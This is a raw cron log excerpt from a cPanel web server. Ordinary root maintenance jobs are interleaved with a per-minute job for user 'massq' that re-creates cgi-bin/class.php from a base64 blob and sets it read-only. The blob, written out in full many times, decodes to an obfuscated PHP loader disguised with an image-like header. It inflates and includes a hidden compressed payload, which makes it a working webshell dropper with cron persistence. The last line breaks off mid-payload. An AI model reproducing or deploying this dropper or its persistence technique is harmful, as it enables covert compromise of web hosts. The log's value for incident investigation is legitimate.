Apr 12 00:37:01 server CROND[31900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:38:01 server CROND[31962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:39:01 server CROND[32025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:39:01 server CROND[32026]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 00:40:01 server CROND[32092]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 00:40:01 server CROND[32091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:40:01 server CROND[32093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:40:01 server CROND[32094]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:41:01 server CROND[32208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:42:01 server CROND[32361]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 00:42:01 server CROND[32362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:43:01 server CROND[32428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:44:01 server CROND[32484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:45:01 server CROND[32551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:45:01 server CROND[32552]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:45:01 server CROND[32553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:46:01 server CROND[32661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:47:01 server CROND[353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:48:01 server CROND[426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:49:01 server CROND[492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:50:01 server CROND[556]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:50:01 server CROND[557]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 00:50:01 server CROND[562]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 00:50:01 server CROND[564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:50:01 server CROND[567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGU